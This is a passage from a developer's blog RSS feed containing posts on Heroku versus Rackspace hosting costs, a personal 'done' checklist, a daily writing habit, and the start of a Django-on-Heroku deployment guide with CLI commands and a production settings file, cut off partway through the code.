that I&amp;rsquo;m dedicating an entire section of this series to it), &lt;a href="https://addons.heroku.com/redistogo" title="Heroku Redis Addon">Redis&lt;/a>, and
&lt;a href="https://addons.heroku.com/cloudamqp" title="Heroku RabbitMQ Addon">RabbitMQ&lt;/a> are all excellent.&lt;/p>
&lt;p>The add-ons are all very fairly priced (in my opinion), and have free tiers
that allow you to use them at no cost with small amounts of data. Just as with
Heroku&amp;rsquo;s free tier, a majority of the add-ons&amp;rsquo; free tiers are sufficient to use
for small websites without paying a dime. This lets you bootstrap your
projects from the start, and pay for them as they grow.&lt;/p>
&lt;p>As with Heroku&amp;rsquo;s dynos, all the add-ons I&amp;rsquo;ve used provision instantly. In
addition to fast provisioning&amp;ndash;all add-ons can also be resized; you can
downgrade or upgrade them at any time using the Heroku command line tool. This
makes scaling your infrastructure components a one liner.&lt;/p>
&lt;h2 id="hidden-cost">Hidden Cost&lt;/h2>
&lt;p>One thing that played an important role in our decision was the hidden cost of
running our infrastructure ourselves.&lt;/p>
&lt;p>When you&amp;rsquo;re simply looking at basic price comparisons between services (in our
case, Rackspace vs. Heroku), it&amp;rsquo;s easy to miscalculate cost. In our case, we
looked at the cost of Rackspace instances vs. the cost of Heroku dynos.&lt;/p>
&lt;p>Since Heroku dynos give you 512M of RAM to work with, I based my initial price
comparison on this factor. A single Heroku dyno costs 35$ per month, and a
512M Rackspace server costs 21.90$ per month. According to this simplistic
analysis&amp;ndash;Heroku looks approximately 1.5x&amp;rsquo;s as expensive.&lt;/p>
&lt;p>The hidden costs show themselves in three primary areas:&lt;/p>
&lt;ul>
&lt;li>Infrastructure management cost.&lt;/li>
&lt;li>Scaling cost.&lt;/li>
&lt;li>Bandwidth.&lt;/li>
&lt;/ul>
&lt;h3 id="infrastructure-management-cost">Infrastructure Management Cost&lt;/h3>
&lt;p>Quite possibly the largest hidden cost for us was infrastructure management.&lt;/p>
&lt;p>The most obvious manifestation of infrastructure management cost in our company
was engineering time. As I stated above, it was not uncommon for me to spend
85% of my time (per day!) writing infrastructure related code. That&amp;rsquo;s an
enormous investment.&lt;/p>
&lt;p>The second hidden infrastructure cost is related to building reliable services.
Since my company primarily builds teleconferencing systems, high availability
is a requirement. It is simply unacceptable for us to have even small periods
of downtime, since we&amp;rsquo;re dealing with real-time conversations.&lt;/p>
&lt;p>What this meant in our case was that we needed to have multiple copies of
everything. One web server? No good. One MySQL master server? No good. One
load balancer? No good. One RabbitMQ server? No good. I&amp;rsquo;m sure you can see
where this is going.&lt;/p>
&lt;p>Having multiple backup servers ready to handle outages adds considerable
expense to any infrastructure. For us, it meant we paid nearly twice as much
as necessary to host our servers so that we could reliably recover from
failures.&lt;/p>
&lt;p>In addition to the extra server cost per month, there is also a high overhead
for time required to not only build working backup and fail over programs for
each piece of our infrastructure, but also to build (and test) the recovery
software itself, to ensure that when we do fail over, it actually works.&lt;/p>
&lt;h3 id="scaling-cost">Scaling Cost&lt;/h3>
&lt;p>While not nearly as devious infrastructure management cost&amp;ndash;scaling cost is
also infrequently mentioned.&lt;/p>
&lt;p>In the teleconferencing business, it is normal to get large amounts of traffic
during certain hours of the day. Since our business is fairly easy to predict,
dynamically resizing our infrastructure based on actual need can save a lot of
money.&lt;/p>
&lt;p>Unfortunately, in order to dynamically resize your infrastructure, you need to
spend an enormous amount of time building tools that can do this. In my case,
I spent many hours over a period of almost a year writing &lt;a href="http://docs.fabfile.org/en/latest/" title="python fabric">fabric&lt;/a> scripts
that could bootstrap new nodes (new web servers, RabbitMQ servers, etc.) using
the &lt;a href="http://libcloud.apache.org/" title="apache libcloud">apache-libcloud&lt;/a> library. While both fabric and apache-libcloud make
writing these sorts of scripts easier, it is still a large task to do it right.&lt;/p>
&lt;p>Even after writing scripts that make dynamically creating and removing servers
simple&amp;ndash;there is still a time factor involved in the actual process. For
instance&amp;ndash;booting a Rackspace server can take anywhere from 60 seconds to 5
minutes. In addition to that, once the server has been booted, the scripts I
wrote would install the required base software along with puppet (to handle the
node configuration). Once puppet is installed, it would take another large
block of time (up to 30 minutes for some applications) to fully finish
provisioning the server for usage. That&amp;rsquo;s a long time.&lt;/p>
&lt;p>Having a 35+ minute delay when you need to scale your infrastructure?
Unacceptable.&lt;/p>
&lt;p>One of Heroku&amp;rsquo;s greatest strengths is their incredibly simple scaling
procedures. You can instantly add and remove dynos with a single command.
Furthermore, their scaling seems to be instant. There is no waiting to
provision new servers, install puppet, etc.&amp;ndash;it just works.&lt;/p>
&lt;h3 id="bandwidth">Bandwidth&lt;/h3>
&lt;p>Depending on what sort of applications you run, bandwidth pricing may be a
concern for you. In my case, we don&amp;rsquo;t use much bandwidth, so it was never a
considerable cost&amp;ndash;but I thought I&amp;rsquo;d mention this anyhow.&lt;/p>
&lt;p>The way Heroku handles bandwidth pricing is that each application you have is
allowed 2TB of bandwidth per month, included in your cost. Any more than that,
and I&amp;rsquo;m assuming they&amp;rsquo;ll charge you extra (although I could not find
information on this anywhere on their site).&lt;/p>
&lt;p>In comparison to Heroku, Rackspace charges for bandwidth in a per-gigabyte
fashion. According to the &lt;a href="http://www.rackspace.com/cloud/servers/pricing/" title="Rackspace Pricing Calculator">Rackspace pricing calculator&lt;/a> I used on their
site, 2TB of bandwidth on Rackspace can cost you an additional $368.64 per
month. That&amp;rsquo;s a lot in comparison to the 0$ you&amp;rsquo;d pay for the same amount of
bandwidth using Heroku.&lt;/p>
&lt;h2 id="summary">Summary&lt;/h2>
&lt;p>After analyzing the costs (both obvious and hidden) of both keeping our setup
the way it was, or switching to Heroku; we decided overwhelmingly to move to
Heroku.&lt;/p>
&lt;p>In terms of usefulness, simplicity, elegance, and cost&amp;ndash;there is absolutely no
comparison. For my company, using Heroku was clearly the best choice to make.&lt;/p>
&lt;p>Since switching to Heroku, my company has saved lots of money on server costs,
and even more money in engineering time. Since the switch, we&amp;rsquo;ve completed
more features, bug fixes, and have overall accomplished more than at any other
point in the year. The effect has been tremendous.&lt;/p>
&lt;p>In the next part of this series, I&amp;rsquo;ll be discussing how I actually moved my
company&amp;rsquo;s infrastructure from Rackspace to Heroku. I&amp;rsquo;ll get into the technical
details, and explain the entire setup from start to finish.&lt;/p>
&lt;p>&lt;strong>UPDATE&lt;/strong>: I wrote a book on Heroku! If you liked this post, you should check
it out. It&amp;rsquo;s called &lt;strong>The Heroku Hacker&amp;rsquo;s Guide&lt;/strong>, and you can buy it here:
&lt;a href="http://www.theherokuhackersguide.com/" title="The Heroku Hacker's Guide">http://www.theherokuhackersguide.com/&lt;/a>&lt;/p></description></item><item><title>My 'Done' List</title><link>https://rdegges.com/2011/my-done-list/</link><pubDate>Sun, 25 Dec 2011 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2011/my-done-list/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2011/my-done-list/code-wolf-meme.png" alt="Code Wolf Meme" title="Code Wolf Meme">
&lt;/p>
&lt;p>I really enjoy thinking and writing about programming. Since I started writing
code years ago, I&amp;rsquo;ve been obsessed with code quality and best practices&amp;ndash;and I
think it&amp;rsquo;s safe to say that a lot of hackers out there feel the same.&lt;/p>
&lt;p>I&amp;rsquo;m pretty sure my urge to write excellent code is driven by some innate desire
to perfect everything; regardless, I stopped trying to fight it long ago, and
started embracing it.&lt;/p>
&lt;p>&lt;strong>DISCLAIMER&lt;/strong>: what I&amp;rsquo;m about to discuss is stupidly obvious. I actually feel
quite stupid writing this; however, since this has made such a large impact on
my code quality and programming mentality, I figured I would share it despite
my shame.&lt;/p>
&lt;h2 id="have-a-done-list">Have a &amp;ldquo;Done&amp;rdquo; List&lt;/h2>
&lt;p>One of the greatest productivity tricks I&amp;rsquo;ve learned has been this: &lt;em>always
have a &amp;ldquo;done&amp;rdquo; list&lt;/em>.&lt;/p>
&lt;p>A &amp;ldquo;done&amp;rdquo; list is checklist that you use as a personal binding contract. Having
a &amp;ldquo;done&amp;rdquo; list means making a commitment to yourself that each time you touch a
piece of code, you don&amp;rsquo;t consider it &amp;ldquo;done&amp;rdquo; until you&amp;rsquo;ve completely gone
through your checklist.&lt;/p>
&lt;p>For instance, my &amp;ldquo;done&amp;rdquo; list is:&lt;/p>
&lt;ul>
&lt;li>Purpose of what I&amp;rsquo;m doing is logged in some form of tracking system
(&lt;a href="https://github.com/" title="GitHub">GitHub&lt;/a> Issues, &lt;a href="https://sprint.ly/" title="sprintly">sprintly&lt;/a>, etc.).&lt;/li>
&lt;li>Tests are written.&lt;/li>
&lt;li>Code implemented.&lt;/li>
&lt;li>Tests pass.&lt;/li>
&lt;li>Code review.&lt;/li>
&lt;li>Documentation written.&lt;/li>
&lt;li>Deployed.&lt;/li>
&lt;/ul>
&lt;p>If that means it takes a while longer to code, then so be it. A &amp;ldquo;done&amp;rdquo; list is
a simple way to hold yourself to a high development standard, and consistently
write quality code.&lt;/p>
&lt;p>I&amp;rsquo;ve found that even when I&amp;rsquo;m not able to consistently go through my &amp;ldquo;done&amp;rdquo;
list every time I touch code&amp;ndash;through the process of trying to meet each of my
&amp;ldquo;done&amp;rdquo; requirements, I write much better code than I would otherwise.&lt;/p></description></item><item><title>What I've Learned About Writing (So Far)</title><link>https://rdegges.com/2011/what-ive-learned-about-writing-so-far/</link><pubDate>Mon, 19 Dec 2011 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2011/what-ive-learned-about-writing-so-far/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2011/what-ive-learned-about-writing-so-far/writer-sketch.png" alt="Writer Sketch" title="Writer Sketch">
&lt;/p>
&lt;p>As I mentioned a few days ago, I&amp;rsquo;ve been working on establishing a
&lt;a href="https://rdegges.com/2011/establishing-a-writing-habit/" title="Establishing a Writing Habit">writing habit&lt;/a> in my daily life. Today marks the 10th continual day, since
starting, that I&amp;rsquo;ve been writing for at least 30 minutes a day.&lt;/p>
&lt;p>I figured now would be a good time to reflect on what I&amp;rsquo;ve learned so far.
Above all else, what I&amp;rsquo;ve learned so far is that&lt;/p>
&lt;h2 id="practice-works">Practice Works&lt;/h2>
&lt;p>I&amp;rsquo;ve read numerous books on skill building, including one of my all time
favorites, &lt;a href="http://www.amazon.com/gp/product/1591842948/ref=as_li_ss_tl?ie=UTF8&amp;amp;camp=1789&amp;amp;creative=390957&amp;amp;creativeASIN=1591842948&amp;amp;linkCode=as2&amp;amp;tag=rdegges-20" title="Talent is Overrated">Talent is Overrated&lt;/a>. The book discusses how people who are
excellent at what they do become excellent. The secret is: disciplined
practice. Top performers (in all fields) set aside time each day to practice
what they are bad at, and struggle through exercises.&lt;/p>
&lt;p>Focused practice over longs periods of time builds skill. There are no
shortcuts.&lt;/p>
&lt;p>While I&amp;rsquo;ve always enjoyed writing casually, this has been the first time in my
life that I&amp;rsquo;ve actually set aside time each day to sit down and write for a
specific time frame.&lt;/p>
&lt;p>Although it has only been 10 days so far, I&amp;rsquo;ve noticed that my continued
practice is already making a difference. So far the difference doesn&amp;rsquo;t seem to
be in my writing itself, but in my attitude towards writing.&lt;/p>
&lt;p>I&amp;rsquo;ve noticed that I&amp;rsquo;ve been able to write with a much higher level of joy in
the past few days than at any previous time in my life. Maybe this is just an
emotional side effect of the continuous success I&amp;rsquo;ve had in sticking to my
schedule for the past 10 days&amp;ndash;but I have been enjoying writing a lot more than
normal.&lt;/p>
&lt;p>Furthermore, I&amp;rsquo;ve become a lot less rigid with my writing. As a perfectionist,
I&amp;rsquo;ve always had problems expressing my thoughts on paper. When I would attempt
to write, I&amp;rsquo;d spend long periods of time working out each sentence in my head
perfectly before writing it down. This behavior tended to eat up a lot of
momentum.&lt;/p>
&lt;p>Since I&amp;rsquo;ve started writing daily, I&amp;rsquo;ve been able to simply type what I&amp;rsquo;m
thinking, gradually refining it. This feels great. It feels like the shackles
that have held me back from expressing my thoughts are beginning to loosen.&lt;/p>
&lt;h2 id="goals">Goals&lt;/h2>
&lt;p>I don&amp;rsquo;t have any specific goals in regards to my writing at the moment. At
least for a while, I&amp;rsquo;d like to simply continue writing for 30 minutes each day,
and gradually become better at expressing my thoughts in a clear, concise, and
structured way.&lt;/p>
&lt;p>I&amp;rsquo;m hoping that as I practice writing more and more, it will become more
natural for me, and I&amp;rsquo;ll be able to experience a greater feeling of relief and
happiness while writing.&lt;/p></description></item><item><title>DevOps Django - Part 3 - The Heroku Way</title><link>https://rdegges.com/2011/devops-django-part-3-the-heroku-way/</link><pubDate>Sun, 18 Dec 2011 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2011/devops-django-part-3-the-heroku-way/</guid><description>&lt;p>This article is part of a series I&amp;rsquo;m writing called &lt;em>DevOps Django&lt;/em>, which
explains how to best deploy modern Django sites. If you&amp;rsquo;re new, you should
probably read the &lt;a href="https://rdegges.com/2011/devops-django-part-1-goals/" title="DevOps Django - Part 1 - Goals">first article&lt;/a> of the series before this one.&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2011/devops-django-part-3-the-heroku-way/deploying-django-meme.png" alt="Deploying Django Meme" title="Deploying Django Meme">
&lt;/p>
&lt;h2 id="my-search-for-solutions">My Search for Solutions&lt;/h2>
&lt;p>In the &lt;a href="https://rdegges.com/2011/devops-django-part-2-the-pain-of-deployment/" title="DevOps Django - Part 2 - The Pain of Deployment">previous installment&lt;/a> of this series, I discussed (in depth) the
problems with deploying Django as a devops guy. After struggling with
deployment for ~2 years, and finding very little relief in modern devops tools
(puppet, monit, nagios, etc.), I started looking for new solutions.&lt;/p>
&lt;p>Several months ago I was reading &lt;a href="http://news.ycombinator.com/" title="Hacker News">Hacker News&lt;/a> and noticed that &lt;a href="http://www.heroku.com/" title="Heroku">Heroku&lt;/a>
had recently added Python support to their platform-as-a-service stack. If
you&amp;rsquo;re not familiar with Heroku, they&amp;rsquo;re a very popular polyglot hosting
platform. They&amp;rsquo;ve been around since 2007 providing Ruby hosting, but over the
past year they&amp;rsquo;ve added support for multiple languages, and seem to be kicking
ass and growing like mad.&lt;/p>
&lt;p>I&amp;rsquo;ve continuously heard their name mentioned by other programmers, but this was
the first I&amp;rsquo;d heard of them having any Python support, so I bookmarked their
&lt;a href="https://devcenter.heroku.com/articles/django" title="Heroku Django Tutorial">Django tutorial&lt;/a> and told myself I&amp;rsquo;d give it a spin sometime.&lt;/p>
&lt;p>Coincidentally, a few weeks later I was asked to give an impromptu lightning
talk during a &lt;a href="http://www.pyladies.com/" title="Python Ladies">pyladies&lt;/a> hack-a-thon, so I decided to give Heroku a spin,
and do my lightning talk on that. In a weird twist of fate, the few hours I
spent learning Heroku turned out to be some of the best invested hours of my
life.&lt;/p>
&lt;p>During the hack-a-thon I built and deployed a simple Django site (with celery
support) in just under an hour. If I were to build the same site and attempt
to deploy it on EC2, I&amp;rsquo;d have easily spent a week getting things deployed using
puppet, monit, nagios, etc.&lt;/p>
&lt;p>After the hack-a-thon ended, I decided to play around with Heroku a bit more,
and see what the platform really had to offer other than what I used during my
short sprint.&lt;/p>
&lt;h2 id="a-second-look">A Second Look&lt;/h2>
&lt;p>Later that week, I had a few hours to kill, so I revisited Heroku&amp;rsquo;s website,
and read through all their &lt;a href="https://devcenter.heroku.com/" title="Heroku DevCenter">help resources&lt;/a> and tutorials. I also took an
in-depth look at their &lt;a href="https://addons.heroku.com/" title="Heroku Addons">add-ons&lt;/a>, trying to decide what their services could
be used for: personal projects, business ideas, work projects?&lt;/p>
&lt;p>The first thing I was blown away to discover is that Heroku has an enormous
amount of add-ons. They literally have add-ons for almost any piece of
infrastructure you could ever want: &lt;a href="https://addons.heroku.com/heroku-postgresql" title="Heroku PostgreSQL Addon">PostgreSQL&lt;/a>, &lt;a href="https://addons.heroku.com/redistogo" title="Heroku Redis Addon">Redis&lt;/a>, &lt;a href="https://addons.heroku.com/scheduler" title="Heroku Scheduler Addon">cron&lt;/a>,
&lt;a href="https://addons.heroku.com/memcache" title="Heroku Memcached Addon">memcached&lt;/a>, &lt;a href="https://addons.heroku.com/cloudamqp" title="Heroku RabbitMQ Addon">RabbitMQ&lt;/a>, &lt;a href="https://addons.heroku.com/websolr" title="Heroku Solr Addon">Solr&lt;/a>, etc. Upon seeing this, I started to
get excited.&lt;/p>
&lt;p>Second, I took the opportunity to play around with their extremely easy to
install and use &lt;a href="https://toolbelt.heroku.com/" title="Heroku CLI Tool">CLI tool&lt;/a>, and was blown away again. Heroku&amp;rsquo;s CLI tool
gives you complete control over your Heroku applications. You&amp;rsquo;re able to
create new Heroku applications out of Git repositories, instantly provision
add-ons for your application (PostgreSQL, Redis, etc.), view streaming log
files, instantly scale up (and down) your nodes, etc. Furthermore, you&amp;rsquo;re able
to run shell commands locally using their CLI tool. Need to access the Django
shell? No problem, you can simply execute &lt;code>heroku run python manage.py shell&lt;/code>
from your terminal.&lt;/p>
&lt;p>&lt;em>By this point, I was really itching to use Heroku for something serious.&lt;/em>&lt;/p>
&lt;p>While I was able to build and deploy a simple Django site on Heroku in under an
hour during the hack-a-thon, I knew that I needed to port a much larger, more
complex site over to Heroku to really see if it could meet my professional
needs.&lt;/p>
&lt;p>So, I checked out a fresh copy of the teleconferencing service that I develop
at work, and got to it.&lt;/p>
&lt;h2 id="how-i-ported-my-work-application-to-heroku">How I Ported My Work Application to Heroku&lt;/h2>
&lt;p>If you&amp;rsquo;d like to see details about what technologies the teleconferencing
service uses, check out the &lt;a href="https://rdegges.com/2011/devops-django-part-2-the-pain-of-deployment/" title="DevOps Django - Part 2 - The Pain of Deployment">previous part&lt;/a> of this
series. As the teleconferencing service is large, complex, and infrastructure
heavy&amp;ndash;I figured that if I could port it to Heroku then I&amp;rsquo;d be able to use
Heroku for almost anything.&lt;/p>
&lt;p>The first thing I did was create a new Heroku application using their CLI tool:
&lt;code>heroku create&lt;/code>, then deploy my application to Heroku using Git:
&lt;code>git push heroku master&lt;/code>.&lt;/p>
&lt;p>Secondly, I installed a few add-ons so I could use my required infrastructure
components (RabbitMQ, memcached, PostgreSQL, and cron):&lt;/p>
&lt;ul>
&lt;li>&lt;code>heroku addons:add cloudamqp&lt;/code>&lt;/li>
&lt;li>&lt;code>heroku addons:add memcache&lt;/code>&lt;/li>
&lt;li>&lt;code>heroku addons:add heroku-postgresql:dev&lt;/code>&lt;/li>
&lt;li>&lt;code>heroku addons:add scheduler&lt;/code>&lt;/li>
&lt;/ul>
&lt;p>&lt;strong>NOTE&lt;/strong>: By leaving off the size of the add-ons at the end, you install the
cheapest (smallest) plan for each service. By adding these add-ons just as
I&amp;rsquo;ve shown above, it adds &lt;strong>0$&lt;/strong> per month to your bill.&lt;/p>
&lt;p>Next, I modified my production settings file (&lt;code>project/settings/prod.py&lt;/code>, in my
case), to work with Heroku&amp;rsquo;s hosted RabbitMQ, memcached, and PostgreSQL
services. In the end, my settings file looked something like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&amp;#34;&amp;#34;&amp;#34;Production settings and globals.&amp;#34;&amp;#34;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">os&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">environ&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">sys&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">exc_info&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">urlparse&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">urlparse&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">uses_netloc&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">S3&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">CallingFormat&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">common&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="o">*&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">########## EMAIL CONFIGURATION&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># See: https://docs.djangoproject.com/en/1.3/ref/settings/#email-backend&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">EMAIL_BACKEND&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;django.core.mail.backends.smtp.EmailBackend&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># See: https://docs.djangoproject.com/en/1.3/ref/settings/#email-host&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">EMAIL_HOST&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">environ&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">get&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;EMAIL_HOST&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;smtp.gmail.com&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># See: https://docs.djangoproject.com/en/1.3/ref/settings/#email-host-password&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">EMAIL_HOST_PASSWORD&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">environ&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">get&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;EMAIL_HOST_PASSWORD&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># See: https://docs.djangoproject.com/en/1.3/ref/settings/#email-host-user&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">EMAIL_HOST_USER&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">environ&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">get&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;EMAIL_HOST_USER&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;your_email@example.com&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># See: https://docs.djangoproject.com/en/1.3/ref/settings/#email-port&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">EMAIL_PORT&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">environ&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">get&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;EMAIL_PORT&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">587&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># See: https://docs.djangoproject.com/en/1.3/ref/settings/#email-subject-prefix&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">EMAIL_SUBJECT_PREFIX&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;[&lt;/span>&lt;span class="si">%s&lt;/span>&lt;span class="s1">] &amp;#39;&lt;/span> &lt;span class="o">%&lt;/span> &lt;span class="n">SITE_NAME&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># See: https://docs.djangoproject.com/en/1.3/ref/settings/#email-use-tls&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">EMAIL_USE_TLS&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kc">True&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># See: https://docs.djangoproject.com/en/1.3/ref/settings/#server-email&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">SERVER_EMAIL&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">EMAIL_HOST_USER&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">########## END EMAIL CONFIGURATION&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">########## DATABASE CONFIGURATION&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># See: http://devcenter.heroku.com/articles/django#postgres_database_config&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">uses_netloc&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">append&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;postgres&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">uses_netloc&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">append&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;mysql&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">try&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">environ&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">has_key&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;DATABASE_URL&amp;#39;&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">url&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">urlparse&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">environ&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;DATABASE_URL&amp;#39;&lt;/span>&lt;span class="p">])&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">DATABASES&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;default&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;NAME&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">url&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">path&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">:],&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;USER&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">url&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">username&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;PASSWORD&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">url&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">password&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;HOST&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">url&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">hostname&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;PORT&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">url&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">port&lt;/span>&lt;span class="p">,&lt;/span>
